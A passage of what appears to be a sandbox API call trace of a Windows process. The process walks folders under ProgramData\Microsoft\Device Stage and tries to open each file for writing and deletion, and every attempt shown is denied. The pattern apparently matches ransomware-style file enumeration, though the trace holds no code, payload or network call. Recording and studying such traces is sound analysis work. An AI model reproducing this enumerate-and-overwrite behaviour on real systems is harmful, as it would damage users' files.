	[0092.066] wcscmp (_String1="en-US", _String2=".") returned 1
	[0092.066] wcscmp (_String1="en-US", _String2="..") returned 1
	[0092.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ba08
	[0092.066] wcscpy (in: _Dest=0x481ba08, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0092.066] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0092.067] wcscat (in: _Dest=0x481ba08, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0092.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c2a0
	[0092.067] wcscpy (in: _Dest=0x4f2c2a0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0092.067] wcscat (in: _Dest=0x4f2c2a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\"
	[0092.067] wcscat (in: _Dest=0x4f2c2a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*"
	[0092.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f968
	[0092.067] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b228
	[0092.067] wcscmp (_String1=".", _String2=".") returned 0
	[0092.067] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.067] wcscmp (_String1="..", _String2=".") returned 1
	[0092.067] wcscmp (_String1="..", _String2="..") returned 0
	[0092.067] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0092.067] wcscmp (_String1="resource.xml", _String2=".") returned 1
	[0092.067] wcscmp (_String1="resource.xml", _String2="..") returned 1
	[0092.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e11c60
	[0092.067] wcscpy (in: _Dest=0x2e11c60, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0092.067] wcscat (in: _Dest=0x2e11c60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\"
	[0092.067] wcscat (in: _Dest=0x2e11c60, _Source="resource.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml"
	[0092.067] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20
	[0092.070] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0
	[0092.070] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.070] GetLastError () returned 0x5
	[0092.070] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0
	[0092.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11c60) returned 1
	[0092.071] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0092.071] FindClose (in: hFindFile=0x477b228 | out: hFindFile=0x477b228) returned 1
	[0092.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f968) returned 1
	[0092.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c2a0) returned 1
	[0092.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.071] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0092.071] wcscmp (_String1="folder.ico", _String2=".") returned 1
	[0092.071] wcscmp (_String1="folder.ico", _String2="..") returned 1
	[0092.071] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1
	[0092.071] wcscmp (_String1="netfol.ico", _String2=".") returned 1
	[0092.071] wcscmp (_String1="netfol.ico", _String2="..") returned 1
	[0092.071] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1
	[0092.071] wcscmp (_String1="pictures.ico", _String2=".") returned 1
	[0092.071] wcscmp (_String1="pictures.ico", _String2="..") returned 1
	[0092.071] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0092.071] wcscmp (_String1="resource.xml", _String2=".") returned 1
	[0092.071] wcscmp (_String1="resource.xml", _String2="..") returned 1
	[0092.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926198
	[0092.071] wcscpy (in: _Dest=0x4926198, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0092.071] wcscat (in: _Dest=0x4926198, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0092.071] wcscat (in: _Dest=0x4926198, _Source="resource.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"
	[0092.071] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20
	[0092.071] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", dwFileAttributes=0x20) returned 0
	[0092.072] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.072] GetLastError () returned 0x5
	[0092.072] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", dwFileAttributes=0x20) returned 0
	[0092.072] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926198) returned 1
	[0092.072] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
	[0092.072] wcscmp (_String1="ringtones.ico", _String2=".") returned 1
	[0092.072] wcscmp (_String1="ringtones.ico", _String2="..") returned 1
	[0092.072] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1
	[0092.072] wcscmp (_String1="settings.ico", _String2=".") returned 1
	[0092.072] wcscmp (_String1="settings.ico", _String2="..") returned 1
	[0092.072] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1
	[0092.072] wcscmp (_String1="sync.ico", _String2=".") returned 1
	[0092.072] wcscmp (_String1="sync.ico", _String2="..") returned 1
	[0092.072] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0092.072] wcscmp (_String1="tasks.xml", _String2=".") returned 1
	[0092.072] wcscmp (_String1="tasks.xml", _String2="..") returned 1
	[0092.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2cea0
	[0092.072] wcscpy (in: _Dest=0x4f2cea0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0092.072] wcscat (in: _Dest=0x4f2cea0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0092.072] wcscat (in: _Dest=0x4f2cea0, _Source="tasks.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"
	[0092.072] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml")) returned 0x20
	[0092.074] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", dwFileAttributes=0x20) returned 0
	[0092.074] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.075] GetLastError () returned 0x5
	[0092.075] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", dwFileAttributes=0x20) returned 0
	[0092.075] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2cea0) returned 1
	[0092.075] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1
	[0092.075] wcscmp (_String1="wmp.ico", _String2=".") returned 1
	[0092.075] wcscmp (_String1="wmp.ico", _String2="..") returned 1
	[0092.075] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0
	[0092.075] FindClose (in: hFindFile=0x477b528 | out: hFindFile=0x477b528) returned 1
	[0092.076] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030308) returned 1
	[0092.076] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61bb0) returned 1
	[0092.076] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0092.076] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
	[0092.076] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2=".") returned 1
	[0092.076] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2="..") returned 1
	[0092.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61580
	[0092.076] wcscpy (in: _Dest=0x2d61580, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0092.076] wcscat (in: _Dest=0x2d61580, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\"
	[0092.076] wcscat (in: _Dest=0x2d61580, _Source="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0092.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61790
	[0092.076] wcscpy (in: _Dest=0x2d61790, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0092.076] wcscat (in: _Dest=0x2d61790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0092.076] wcscat (in: _Dest=0x2d61790, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*"
	[0092.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030308
	[0092.076] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.079] wcscmp (_String1=".", _String2=".") returned 0
	[0092.079] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.079] wcscmp (_String1="..", _String2=".") returned 1
	[0092.079] wcscmp (_String1="..", _String2="..") returned 0
	[0092.079] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0092.079] wcscmp (_String1="en-US", _String2=".") returned 1
	[0092.079] wcscmp (_String1="en-US", _String2="..") returned 1
	[0092.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ba08
	[0092.079] wcscpy (in: _Dest=0x481ba08, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0092.079] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0092.079] wcscat (in: _Dest=0x481ba08, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0092.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c060
	[0092.080] wcscpy (in: _Dest=0x4f2c060, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
